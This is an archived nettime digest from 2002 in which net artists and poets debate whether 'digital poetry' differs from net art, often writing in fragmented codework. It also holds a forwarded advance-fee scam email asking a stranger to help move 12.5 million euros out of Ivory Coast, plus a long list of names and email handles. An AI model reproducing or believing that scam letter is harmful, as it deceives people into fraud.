{AT} sympatico.ca> \nSubject: Re: RHIZOME_RAW: Re: Re: \"digital poetry\" vs\nDate: Sun, 10 Nov 2002 20:08:15 -0500 \n       \n \n\n\nto sub verse the re verse\n\n\n\n\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 02:28 AM 10/11/2002 +0000, LL wrote:\n >are your texts using other texts?\n\nthey r not texts.\n\"texts\" respawn yr own.\n\n > how is the network important to\n >these texts?\n\n\"texts\" *r* not the net.work.\n\"t4e0x4ts\" Not Found.\n_net.wurks_ *r* the net.work.\n\n_texts_ plug the gaps + _net.wurks_manifest as form from packet-driven\ncon.tent.\n\n_form from_\n\n_homogenesis substrata b.coming a.n][et][atomy_\n\nthink _code_ ][trans][forming ][2][ _application_.\n\ntext does not exist w.here.\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sat, 9 Nov 2002 23:26:25 -0500 (EST)\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n\n\n\nIt may be none of my business here, but what is \"pseudo artspeak\" and\n\"pseudo mysticism\"? If you're so interested in \"inclusion,\" why can't you\naccept the way others speak and write? And why not take mez' word for it?\nWhat's at stake in it for you?\n\nAlan\n\nOn Sun, 10 Nov 2002, Lewis LaCook wrote:\n\n> so explain (without resorting to pseudo artspeak and pseudo\n> mysticism) what's reductive about actually judging the work and not\n> the reputation of the maker? what's reductive about inclusion as\n> exposed to exclusion?\n> am i simply to take your word for it? or apply my knowledge of code\n> and realize how you do what you do?\n>\n> --- In webartery {AT} y..., \"dis.[UR]Locate\" <netwurker {AT} h...> wrote:\n> > At 04:17 AM 10/11/2002 +0000, you wrote:\n> > >but that's CLOSED...if your little circle is the network (which is\n> > >one helluva ego trip, my friend), what separates your little circle\n> > >from what you claim to hate in the politics of this country?\n> > >\n> > >bliss\n> > >l\n> >\n> > red[on]uction[simpl]istic.\n> >\n> >\n> > . . .... .....\n> > pro][tean][.lapsing.txt\n\n\nDate: Mon, 11 Nov 2002 09:08:33 +0000 \nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \nFrom: \"Ivan Pope\" <ivan {AT} ivanpope.com> \n       \n \n\n\n\n\n> From: ruth catlow <ruth.catlow {AT} furtherfield.org>\n\n> \n> lewis lacook wrote:\n>> me, i just want a net art that is truly an art fitted to its medium...i\n> want a net art that literally requires the net work in order to manifest\n> itself...\n> \n> I think this gives the institutions and the structures of the net work\n> far too much respect. Isn't this like saying that we only want art that\n> requires the cubey white walls of a gallery? Why are you so eager to\n> squash your squishy, expressive, human flesh sourced imaginations into\n> the predetermined and rigid labyrinths of mathematically determined\n> structures?\n\nMy reading of lewis's statement is that he calls for network art that\nfundamentallly uses the network. i.e. not network art that could just as\neasily be displayed on a disconnected computer in a gallery. But pieces\nthat use the network in some way to become themselves. And this should\nnot necessarily mean the network of wires and routers and IP protocols\nbut the network of information or the network of human activity. There\nare of course many works that do this already, so Im not saying much ...\nand, Im not claiming value for this approach. But I think to equate this\nwith wanting art that fits in a white cube gallery is missing a point?\nMaybe there's a May68 type slogan here: The Network Is Not A Gallery\nCheers, Ivan\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 02:57 AM 10/11/2002 +0000, LL wrote:\n >if i'm not mistaken, mez here is proposing the works exist in a\n >certain communicative channel...they're a flow of data////like all\n >things really are////\n\n_form from_\n\nor even\n\n_form form_\n\n >my question would be (and the answer to this would actually help me\n >distinguish between works): where does the data come from? where does\n >it flow to?\n\n_net.wurks_ u.se[e] information.\n\n<d.fine: information?>\n\n_in form_\n\n >one can say (as in romanticism): well, the data comes from somewhere\n >up there: it flows into me, and then out:::::all of which is true////\n >\n\nup there: no\nin2: no\nout: no\n\n[a trip.tick.ler of nos].\n[think no.dic[k]|x.plosive, la[la laaaa li]terally.]\n\n >but the works i like best are those in which data comes from several\n >sources (not simply repsawning my own): data comes from you, and you,\n >and you, and you, and you=====and goes to you and you and you and\n >you////\n\nu & u & u.\n\n[ewes & use = cul.pa[lata]ble comprehension].\n\n >this is interesting to me because it's pointing to an epitemology of\n >net art (or at least an epistemology of mez's work, which interests\n >me greatly)////\n >\n >but i still don't understand why they're not texts? how would you\n >define a text, mez? and what is the distinction between that and what\n >you do?\n\ni _net.wurk_.\n[u text b.coz u r].\n[i net.wurk b.coz i am\nw.here.].\n\n[u purr.[d]sist in b.ing .here.]\n\noppositional here|w.here.\n\n\n\n\nFrom: lewis lacook <llacook {AT} yahoo.com>\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art\n\n\n> thank you, this is EXACTLY what i meant! (& yes, this\n> art already exists!)\n> bliss\n> l\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 03:31 AM 10/11/2002 +0000, LL wrote:\n >texts use information in form as well////\n\n[contiguous filtering + response patternings + reification of proto.co[a]ls]\n\n >so what are you doing that e.e. cummings hasn't already done?\n\n[contiguous flittering + respose patternings + deification of proto.co[a]ls]\n\n[net.wurking thru nets.co[de]pic[torials]s]\n[nod.ule =nod.url =nod.jewel =nod.jules]\n[add.end[w.here.?]um n.finite]\n\norality is.not textual\ntextual is.not netscopic\n\nsandwritinginthesandissandwriting_in_the_sand_!!\n[1+0 =???]\n\n >what privileges your texts as net wurks and mine (even when that text\n >isn't really mine at all?)as just texts?\n\npassive lo[a]ne construction + advertisingly projective + isolated\nmono[info]thrusting\n\n--dizzy.[UR]Locate\n\n\n\nFrom: \"Ivan Pope\" <ivan {AT} ivanpope.com> \nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \nDate: Mon, 11 Nov 2002 15:47:52 -0000 \n       \n \n\n\nIn 1988 after I got my first email response I looked through the green\nphosphor screen and said 'I want to make art IN THERE, in that space'.\nCheers, Ivan\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 04:08 AM 10/11/2002 +0000, LL wrote:\n >MEZ:passive lo[a]ne construction + advertisingly projective +\n >isolated\n > > mono[info]thrusting\n >\n >LL:but in order to escape this you have to allow others to create\n >work for you...you have to open a gap in the work/////\n\nre:[sup]plying [the goods]...........\n\n >the way i see it (yeah, i know, mi mi mi)===esp in your flash and\n >javascript works, where the opportunity lies quite baldly before you\n >to NOT do this) this is exactly what you're doing. you're not\n >allowing the user to reconstruct your texts. at best, you're allowing\n >them to experience them in different orders (that time thing\n >again)...in the poetry generators, i don't really construct the text\n >at all///i simply set up a space and a means for the user to work\n >in///in anningan it's a little more complicated, and not fully\n >fleshed yet////but the user still commicates with the piece...\n >\n >i'm not berating you, simply discussing this///you see what i do as\n >this, but i see what you're doing as the same thing///which is where\n >i don't understand how you see what you're doing as essentially\n >different, the trouble i'm running into understanding it///\n\n[S]O[AP]rality is.not textual\ntext[d]ual[ity] is.not netscopic\n\ndependencies vs x.clusions.........\n\n >i mean,\n >really, the flash works are just multimedially enhanced texts////\n >(granted, there are some awful cool rollover tricks, which do\n >actually enrich one's reading, which is why i don't call your work\n >decorative)\n\"mi\" MM  {AT} tempts r remnants.\n >well, yes, i produce a lot, and i don't use an avatar///neither does\n >eryk salvaggio, nor does jim andrews....is that the difference?\n >\n >please...explain...\n >bliss\n\np.lease...ab.sorb....\n. ..\n. . . . ..\n\n\nA c][r][][ab-like][yst][al][ repeating. . .\n. .\nIn disarray, a molten swathe of n.ter.face][s][ts\nmimic simul.crated spaces.\nIn describing, yr structure is musty,\nn.distinguishable from the\nmas][ticated][s,\na graphic urn of\ncircuitry rust.\n\nIn b.tween][ning][, pat.turns of repetition\n][like looped n.testinal lattice][\nis in ][& of][ IT.s][h][ell.f\nrepeated\n][the uni.f][r][ied cell][.\n\n..\n. ..\n. . . . ..\n. . .A most fungalmental repetition property. . .\n. . . . .\n. ..\n. . . . ..\n. ... .\n.. .\n\n\nThis Cyb.age.nic Lattice in its\n][& of IT.self][ ubersymmetry.\n\nWe n.itially shrink ourselves ][in][2 3 di][ce][mensions.\n4 ][si][m.plicity, 3 types r coded:\n\n.C.quential.\n. .Replification.\n. . .Helix.\n\n.C.quential: U perceive & reproduce via regular successions. No gaps\nallowed. No m.maginative rigor. U may ][& will][ b visualized like this. U\nrepresent a sell][out][.F - the human unit of repeditive n.elasticity.\n[4 e.e.g, u r 1 of the sell.Fs. if u look out, u c the same reflective\nsell.Fs  {AT}  0, 90, 180, & 270 d.grees because a c.quential repeats itself  {AT} \npredicable ][culturally-d.][greed n.tervals.\n\n. .Replification: U repeat consistently. U r not able 2 distinguish\nsuccessive patternings ][ {AT}  0 and 180 cultural d.gree][d][s][. U find\nreplification easier than advancing. U m.ulate. U ][re][produce as if it\nwere progressive.\n\n. . .Helix: U spiral and poll][inate][ute. U.re c.oiled c][ultural][entrics\nreorder & re.route. U burn the sell.F. U.re c][h][ells can traverse the\nvir][mens][t][r][ually & geocentrically g][l][athered.\n\n\n. ..\n. . . . ..\nIf the helix s.][c][el][l][ves were seen in ultradimensions, they would\ncompletely fill the Cybagenic & Ge][c][o.d.fined Lattrix.\n. ..\n. . . . ..\n\n\n\nFrom: \"Marisa S. Olson\" <marisa {AT} sfcamerawork.org>\nDate: Tue, 12 Nov 2002\nSubject: \"digital poetry\" & network conditions\n\n\n\nan extension of the {\"digital poetry\" vs. net art}\nthread:\n\nLewis (et al),\n\n\nThough I, too, called for \"net art\" to be specific to the net, I  think\nthat we may be over-glamorizing and under estimating certain  network\nconditions.  Lewis, in your critique of [digital poetry] you say, \"it\noperates with a totalitarian economy...it's closed, no-one  can walk\ninside it really, no one can move anything in it...\" This  point implies\nthat a linguistic act (poetry) can escape closed systemiticity, which\nseems impossible to me. (along the same lines,  when you say \"one can't\ntranslate Finnegan's Wake into cinema because  it's a linguistic\nexperience,\" I want to insist on remembering the  difference between\n\"linguistic\" and \"written.) But *more* important  to me, in your\ncritique, is the assumption that the very dynamics of  reading must be\nsomehow different on the internet; that an art work  or artist is not\nliving up to its/her mandate if it does not  illustrate this difference.\n(ie you refer to \"the ones that are just  animation.\")\n\n\nI see a sort of slippage, here, in that we have all been insisting on\nthe way in which a text (visual, verbal, written, aural, etc) is\nchanged/completed/authored by the reader in her interpretation or\nperformative enunciation of the text. (you described your own net  work,\nsaying, \"the work itself ends up being authored mostly by the  user and\nthe machine-though I would urge us to think about how  \"language\" might\nbe used in place of \"machine,\" both as a catch-all  for analog and\ndigital work, and because I think you mean more the system than the\nmachine-the machine cannot drive itself, can it? It  needs a language\nand instructions written in that language\u008a)\n\n\nIf we are to insist on this, however, we cannot say that the act of\nreading is \"actionless\" in one medium or platform over another. This\nneeds to refer to reading at large, though we'd be remiss not to  notice\nthe different reading conditions (in this case, network  conditions) at\nplay, effecting the construction, dissemination,  accessibility,\nphysical and intellectual labor of reading, and interpretation of the\nwork. But this just recalls the age old  story|discourse distinction\u008a\n\n\nThis concern carries over to my understanding of your statement, \"i\nwant a new art form, a new form of digital poetry that's less\ncinematic...\" Are you saying that you want something read more  actively\nthan a \"passive\" cinematic text? (this was a common critique of Heavy\nIndustries' Flash movies) I am well-aware of  important readings of\ncinema's cultural context, in relation to  leisure/class, passivity,\nspectacle, and (easy)identification; however, I would again underscore\nmy point that there is an action  happening in these readings. Let's\nthink about how a cinematic  narrative is read, in relation to a written\none. (and while I  understand the coding of the word narrative, I think\nthat my comments  here could also refer to \"non-narrative\" texts that\nare read  spatially, as in poetry-of course, what's not read\nspatially?!) We  read words/images in a specific order, whether or not\nthat order is  traditionally \"linear,\" or more what I call \"curvilinear\"\n(in the  sense that the order may change, but all of the\npieces/words/signifiers are still linked in a distinct way); this\nreading-order is a product of our (linguistic) enculturation, of course,\nbut we must first agree that some process is in place. No  matter what\nthis process is, the text is subject to secondary (and  tertiary, etc)\nrevisions, as we retroactively make sense of the pieces, in relation to\neach other, new information, etc. So, when mez  says:\n\n\n.u\n.do.NT.\n\n\n\"u\" is qualified by \"do.NT.\" This much is obvious.  What it should  also\nmake obvious is that I, as a reader, am performing an action.\nBracketing \"death of the author\" arguments, this action is roughly the\nsame whether I perform it in response to an e-mail, Flash site,  piece\nof paper, metal engraving, or film\u008a. I would, however, be interested in\nhearing more on how/why you think that a work becomes  \"damaged\" when it\nis translated into another media. Are you referring  more to an artist's\nintent or the aesthetic value of the work?\n\n\nmarisa\n\n\n_________________\nMarisa S. Olson\nAssociate Director\nSF Camerawork\n415. 863. 1001\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 04:11 AM 10/11/2002 +0000, LL wrote:\n >r-p-o-p-h-e-s-s-a-g-r\n > who\n >a)s w(e loo)k\n >upnowgath\n > PPEGORHRASS\n > eringint(o-\n >aThe):l\n > eA\n > !p:\n >S a\n > (r\n >rIvInG .gRrEaPsPhOs)\n > to\n >rea(be)rran(com)gi(e)ngly\n >,grasshopper\n >\n >\n >that would be e.e. cummings\n >\n >\n >nets.co[de]pic[torials]s]\n >\n >that would be mez....\n >\n >\n\n\nmean.ing..........?\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\nSubject: Re: \"digital poetry\" vs net art\n\nAt 04:22 AM 10/11/2002 +0000, LL wrote:\n >cummings wrote text...\n >\n\nw.rote.\n\nbi-rote.\n\nby.nonrotational.\n\nreproduction.as.press.\ncode.flavours.as.ignoramus.\ncode.poetry.reduced.2a.paper.tigah.scream.\n--\nlewis, doe.s:\norality = textual\ntextual = netscopic\n\nif yes, how sew?\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\nSubject: Re: \"digital poetry\" vs net art\n\nAt 04:24 AM 10/11/2002 +0000, LL wrote:\n >so explain (without resorting to pseudo artspeak and pseudo\n >mysticism) what's reductive about actually judging the work and not\n >the reputation of the maker?\n\nthats not where yr reductionism lies.\n\npseudo artspeak = none.\n\ndo u c this w.here. as epigenetic?\nthis is no pseudocode.\nplease search + absorb.\n\n\n\n\nFrom: lewis lacook <llacook {AT} yahoo.com>\nSubject: Re: \"digital poetry\" vs net art\nDate: 04:34 AM 10/11/2002 +0000\n\ni like this distinction you're making between orality and netw\nork...but one can't exactly \"recite\" the cummings work i\nquoted////and other than the fact that it was done on paper it's very\nsimilar to what you do to text...\n\nthe language poets as well discussed how poetry had long left the\noral behind////\n\nbliss\nl\n\n\n\nFrom: lewis lacook <llacook {AT} yahoo.com>\nSubject: Re: \"digital poetry\" vs net art\nDate: 04:36 AM 10/11/2002 +0000\n\nyou may have a point there...i may have been a bit red about the\ncollar...sorry mez!\nwhat's at stake...well, pure discussion, really/////and intellectual\ncuriosity///(i'm liking reading mez write about her work like this)\n\nbliss\nl\n\n\n\nFrom: lewis lacook <llacook {AT} yahoo.com>\nSubject: Re: \"digital poetry\" vs net art\n\nyou're right...i've twisted on myself and am now exhibiting just what\ni despise////sorry, mez (and thank you for your patience!)\nbliss\nl\n\n\n\n\nFrom: lewis lacook <llacook {AT} yahoo.com>\nSubject: Re: \"digital poetry\" vs net art\nDate: 04:58 PM 10/11/2002 +0000\n\nthey are, and they aren't...\nnothing is ever simply text, i'm thinking this morning////\n\n\ni think mez was making a very important distinction in this\nexchange///\nbecause i thought of my work as text, it was text....\nshe was seeing her work in terms of flow////\n\nit's an old zen master trick///\na zenist holds up an object, say, a book of matches, and asks her\nstudent, :\"what is this///\"\nstudent says///\"matches!\"\"\"\nmaster throws matches at student: \"'matches' is a sound...what are\nthese?\"\n\nbrilliant, really///wish i'd had the clarity last night to see this///\n\nbliss\nl\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\nSubject: Re: \"digital poetry\" vs net art\n\nAt 03:21 PM 12/11/2002 +0000, LL wrote:\n >some more clarifications:\n >i just want to point out that i didn't dis anyone until i was being\n >dissed...i compared and contrasted works...\n\n.dis[all.(in)lieu.sioned now?]ah.vow.all = n.voked?\n\n[a sub.stantial shame]\n[yr fingers rub with transm.ogrified g.loss]\n\n >i think it's rather unfair that i was treated this way, to be honest,\n >and it's very doubtful that i will be posting work anymore...it would\n >be a waste of time...not only do i not get actual feedback from it\n >(which is what i'm looking for), but i'm actively discriminated\n >against for the type of work i'm doing...which is sad...\n\nhow sew, LL?\n\n[j]ob.servation status:\n\n.if u purr.sieve yr own [switch.hitting.in2.yr.own.bawl.court] as\n.s.ta[c]tic[al] regurgitive\n\nTHEN\n\n.orientation of [con]text=[con]fusing?\n\n[sending out m[r]e[vie]wling sounds makes 4 response sparkles]\n[mine(ours) may dull yr flicka-senses]\n[yrs may knot]\n\n[be it sew: but b pre:pared 4 int[ra]er.action]\n[this.is.how.we.torque.in.w.here]\n\n >i'm very sad\n >because i thought this whole thing was about experimentation and\n >freedom, and in the end it's about career and reputation...\n\n.affectivity staining & reading thru a victim's drawl.\n.u _kno_ this.\n.this is _k_not u.\n\n.s[l]ink.ing & then re:fusing 2 s[ilicon]wim.\n\n??\n\n >while previous works have used templates, millie, it's a start, and i\n >don't see too many others doing it, and i don't know why...and for\n >the record, i didn't learn anything about programming in\n >school...what i know about programming i picked up on my own...which\n >hardly matters, in the long run...\n >\n >you know...this has really broken my heart...it's just plain\n >sad...it's sad that no-one can really discuss anything,\n.our.XX.change.was Legion, then?\n >or call\n >anything into question...\n\n\n\n\n\nartcom unstable digest vol 22\nSun Nov 24 01:26:56 2002\n\n\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \n    From: \"Marisa S. Olson\" <marisa {AT} sfcamerawork.org> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \n    From: \"Wally Keeler\" <poetburo {AT} sympatico.ca> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital poetry\" vs\n    From: \"ruth catlow\" <ruth.catlow {AT} furtherfield.org> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re:\"digital poetry\" vs net art \n    From: \"ruth catlow\" <ruth.catlow {AT} furtherfield.org> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" v(s[t] art)-sp(ac)eak\n    From: \"Talan Memmott\" <talan {AT} memmott.org>\n\nSubject: Re: RHIZOME_RAW: Re: Re: \"digital poetry\" vs\n    From: \"Wally Keeler\" <poetburo {AT} sympatico.ca> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \n    From: \"Ivan Pope\" <ivan {AT} ivanpope.com> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art\n    From: lewis lacook <llacook {AT} yahoo.com>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \n    From: \"Ivan Pope\" <ivan {AT} ivanpope.com> \n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: \"digital poetry\" & network conditions\n    From: \"Marisa S. Olson\" <marisa {AT} sfcamerawork.org>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\n\nSubject: Re: \"digital poetry\" vs net art\n    From: lewis lacook <llacook {AT} yahoo.com>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: lewis lacook <llacook {AT} yahoo.com>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: lewis lacook <llacook {AT} yahoo.com>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: lewis lacook <llacook {AT} yahoo.com>\n\nSubject: Re: \"digital poetry\" vs net art\n    From: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 24 Nov 2002 16:18:03 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200211242156.gAOLump20478 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00087.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 22"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00064",
                "content": "\nDate:         Wed, 13 Nov 2002 08:13:23 -0800\nFrom: Jeffrey Jullich <jeffreyjullich {AT} YAHOO.COM>\nSubject: Stephen & Marian Guei\n\n--0-328886672-1037204003=:92769\nContent-Disposition: inline\n\n\nNote: forwarded message attached.\n\n\n__________________________________________________\nDo you Yahoo!?\nU2 on LAUNCH - Exclusive greatest hits videos\nhttp://launch.yahoo.com/u2\n\nX-Apparently-To: jeffreyjullich {AT} yahoo.com via 66.218.78.188; 13 Nov 2002 07:28:31 -0800 (PST)\nX-Track: 0: 100\nReturn-Path: <stephen.guei {AT} caramail.com>\nReceived: from 213.193.13.93  (EHLO mail2.caramail.com) (213.193.13.93)\n  by mta616.mail.yahoo.com with SMTP; 13 Nov 2002 07:28:30 -0800 (PST)\nReceived: from caramail.com (www30.caramail.com [213.193.13.40])\n        by mail2.caramail.com (Postfix) with SMTP\n        id 0E181CABF; Wed, 13 Nov 2002 16:28:27 +0100 (MET)\nFrom: stephen guei <stephen.guei {AT} caramail.com>\nTo: stephen.guei {AT} caramail.com\nX-Mailer: Caramail - www.caramail.com\nX-Originating-IP: [64.110.146.28]\nMime-Version: 1.0\nSubject: awaiting for your reply\nDate: Wed, 13 Nov 2002 16:28:16 GMT+1\nContent-Type: multipart/mixed; boundary=\"=_NextPart_Caramail_0189351037201296_ID\"\nContent-Length: 1428\n\nThis message is in MIME format. Since your mail reader does not understand\nthis format, some or all of this message may not be legible.\n\nDear Friend,\n\nThis is strictly confidential. It is coming to you\ndirectly\nfrom Abidjan, Ivory Coast West Africa- a nation and sub-\nregion in turmoil.\n\n You are surely aware of the on-going rebellion here in my\ncountry for quite some time now. The xenophobic,inept and\nincompetent regime of LAURANT GBAGBO faced yet another\nbloody coup detat middle of September in which the FPI-led\ngovernment crudely assasinated my fathe,General Robert\nGUEI,my mother and hordes of bodyguards accusing the\nformer\nhead of state maliciously of being behind the insurrection\nwhich has but blossomed northwards.\n\nI had been away in Accra, Ghana ,doing my higher education\nduring the military revolt which claimed equally the life\nof the interior minister and hundreds of others. My\nabsence\nat home was what saved my young life.\n\n Few days ago however still smarting from shock and trauma\nemanating from losing both dad and mum I sneaked into the\ncity to take possession of my late father's secret\nfinancial fortune left behind in the West African\nInternational Bank known here in French as BIAOCI.\nEver since I have been in constant contact with the bank's\ninternational operations division's director who has\nassured me of the safety of the fund(totalling 12.5\nmillion\neuros).\n\nHe has however underscored the urgent need for the fund to\nbe transfered out through a third party as soon as\npossible. The paramount importance of lifting this fund\noutside this shore cannot be over-emphasized at this\nexceptional moment in time.\n\nTherefore, should you be interested in helping me out,\nplease feel free and write me back via the net. Everything\nis open for negotiation in this respect. Presently I am\nliving underground here for fear of being kidnapped or\nkilled by prowling secret agent of the state.\n\n So I must leave for your country or elsewhere as soon as\nthis transaction is sealed, done and completed. I shall be\nglad indeed if you can act immediately. Thanks and God\nbless.\n\nYours sorrowfully,\nstephen and marian Guei\n_________________________________________________________\nGagne une PS2 ! Envoie un SMS avec le code PS au 61166\n(0,35\u0080 Hors co=FBt du SMS)\n\n\nDate:         Mon, 11 Nov 2002 23:08:21 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: everyone\n\neveryone\n\n\nBruce Carol Carolyn Charles E.K.Huckaby Funkhouser Gerstein Gillam Ian J.\nKelk Marjorie Monty Peter Radhika Theresa Thomas WRYTING-L \\ Charles\nexperimentaltvcenter.org ian.kelk mezflesque.exe net.wurk][.who][ &\n'Christopher Edward ALR Alan Andy Annie Architext Cary Chris Dan Deb\nE-mail E-mail Ellen Fritz Gary Katie Laurie Leslie_Thornton Mark McKenzie\nMike Nile Peter ROBERT US-LIHI a.k.a adagrace9 anafrigon c cinema complit\ndan dripdrop22 foofwa ijerry jen joanna joel mzpm peter simon sue.thomas\n3rdBed 7-11 :  0vira 106271.223 3sticks AOL-LIST-OWNERS Funkhouser\nISMurray Ian.Kelk J_WOODSON JohanMeskensCS2 KJOHNSON Mariannede_graaf\nMark.Amerika MuratNN POETICS Peter_G_Kelk.KELK RWITHERS WRYTING-L a.little\nabroeck alexis amerika anabasis anastasios anastasios.kozaitis andyo\nanniea architext arpadt atlassheppard b.watten barrysmylie bernstei\nbgehring bindi_love birringer.1 bradleybayonet brantp brotman bruce\nbuckleyr burkew caitlin caitlinm calexand cantsin catherine.gillam\ncguertin chrisdrury christys cjr90210 ckeep clkpoet couperj cthyd\ncyberculture damianc damon001 dan_sondheim daveliza db62 ddelgado deb\ndecklin dilillo djeng domfox dsondhei dtv duncanr e.milne ecodub\necsatyricon edz ekhuckaby electromediascope emgarrison etc evalle film6000\nfoofwa fractal frazerv galesnow gdstereo geert geraldfilm ggatza giardia\nglazier gmguddi gniewna gothwalk gquasha groovdigit guernsey gwiebke\nh.whitehead hankru harveyb horvitz horvitzr human hypobololemaioi i2eye\nian.kelk info integer irwin.gerstein ivan janedoe janez.strehovec jdavis\njen jh3 jim jlehmus joe.amato johngr joris joseph_nechvatal jtley\njulia.kelk k.zervos katies kenworth kingd kkretz4art kolasins kozl0023\nkristin ksoden lakey.teasdale laporta laporta.interport lawrence.upton\nlcubbison liutpran lizral llacook luesebr1 maguirew marblehead margaret\nmartha martinej marton marylynn mattsamet mckenziewark men2 mesper\nmezandwalt mfwj mgomez mgurst mi_ga mike mint77 mister_furiously monty\nmorgand morrigan msotor01 mtxmetz murray mw35 mzpm nativeagent neekaa80\nnetwurker nile nillo oga olseng orishai owidnazo p.sidjanin patrick peter\npoetics pollet protagonistus r.mulvale r.strasser raintaxi rakaise reality\nreiner.s reith roitman rumsong runran ruthnow sacred_grove saizy samills\nschuppm sghaly shemurph2001 simon.mills sjaugu solipsis sondheim stalder\nstelarc stephan steven.meinking strickla sue.thomas sukenick talan\ntennessee threads tom967 torresm trevor.pull tyler.stallings vest27\nvfrenkel vstandley wanda.interport wander warnell wattsb weinstone\nweishaus white-b wolf wolfgangsta zeropoet zeug =?ISO-8859-1?Q?=A4?=\n=?iso-8859-1?Q?Glazier=2C_Loss_Peque=F1o?= =?iso-8859-1?Q?Peque=F1o?= A.\nACSU.BUFFALO.EDU Metropole ADM.NJIT.EDU ANASTASIOS AOL AOL.COM ARTvB\nAbeles Abrahams Ad Adams Administration Again Agnihotri Ahwesh Alexander\nAlexander' Alexis Amanda Amato America Amerika Anastasios And Andreas\nAndree Andrews Angela Ann ArchJoanna Arpad Atlas Auler Avillez Awentler\nAzurCarter Azure BA BATIPATO BH BRITISHLIBRARY.NET uptonlawrence Barbara\nBarbara_Simcoe/CFA/UNO/UNEBR Barrett Barry Beatrice Beaubien Belinda\nBelinda.Barnet Berk Bernstein Beth Bill Birringer Bo Bob BobAuler Bowes\nBowne Bradley Brant Brian Broeckmann Brown Bruce Buckley Buffalo Bugaj\nBurke BushPieter C C. CCCHAP129 CF CS2 CT/HYD-Jayadev Caitlin Calishain\nCarol Carolyn 